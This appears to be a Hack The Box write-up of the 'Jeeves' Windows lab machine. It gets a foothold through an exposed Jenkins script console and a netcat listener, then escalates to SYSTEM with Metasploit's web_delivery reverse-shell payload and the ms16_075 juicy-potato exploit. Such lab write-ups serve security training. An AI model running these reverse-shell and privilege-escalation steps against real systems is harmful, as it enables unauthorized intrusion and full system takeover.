← Back to list

HTB | Jeeves

This is a Windows box. You can find it here.

anuragtaparia in InfoSec Write-ups · 2024-08-05 06:29 · 0 claps · 2.5 min read
#htb #htb-writeup #jeeves #ctf #ctf-writeup
Open on Medium ↗

HTB | Jeeves

This is a Windows box. You can find it here.

Jeeves

Jeeves

Skill Learned

  • Obtaining shell through Jenkins
  • Enumerating alternate data streams

NMAP

IP: 10.10.10.63

rustscan

rustscan

nmap

nmap

port 80

port 80

port 80

Throwing Stack Trace on searching

stack trace

stack trace

From this, we know they are using

  • ASP.NET Version 2.0.5
  • MS SQL Server 2005

Now Let’s look at port 50000

port 50000

port 50000

port 50000

Let’s do gobuster

gobuster

gobuster

We found /askjeeves

On visiting we found that it was Jenkins

/askjeeves

/askjeeves

Foothold/ shell

On visiting Manage Jenkins > Script Console We can execute Groovy scripts, refer.

groovy script

groovy script

Start nc listener and run

nc -nlvp 1234

nc -nlvp 1234

We got the shell

We found user.txt

user.txt

user.txt

Priv Esc

We have SEImpersonatePrivilege token

whoami /priv

whoami /priv

Since SeImpersonate is Enabled, that means we can do potato attack, we will be using MSF for that

we will use exploit/multi/script/web_delivery to get a shell on msf via our existing shell

use exploit/multi/script/web_delivery 
set srvhost tun0 
set lhost tun0 
set target PSH 
set payload windows/meterpreter/reverse_tcp 
run

copy the output of PowerShell cmd to our existing shell and boom we have meterpreter

Now we will use post/multi/recon/local_exploit_suggester to find exploits

found some exploits

local_exploit_suggester

local_exploit_suggester

Let’s use exploit/windows/local/ms16_075_reflection_juicy, set the session and hit run

NT Authority\SYSTEM

NT Authority\SYSTEM

Boom we are NT AUTHORITY\SYSTEM. But we did not found the root.txt instead there is hm.txt

Let’s look deeper

dir /R

dir /R

dir /R

We found hm.txt:root.txt:$DATA

more < hm.txt:root.txt:$DATA

root.txt

root.txt

and we have root.txt

Always look for Alternative data streams.


메타데이터
post_id
9fd3d22639f6
slug
htb-jeeves-9fd3d22639f6
url
https://infosecwriteups.com/htb-jeeves-9fd3d22639f6
canonical_url
https://infosecwriteups.com/htb-jeeves-9fd3d22639f6
author_url
https://medium.com/@anuragtaparia14
status
ok
fetched_at
2026-07-23 05:31:19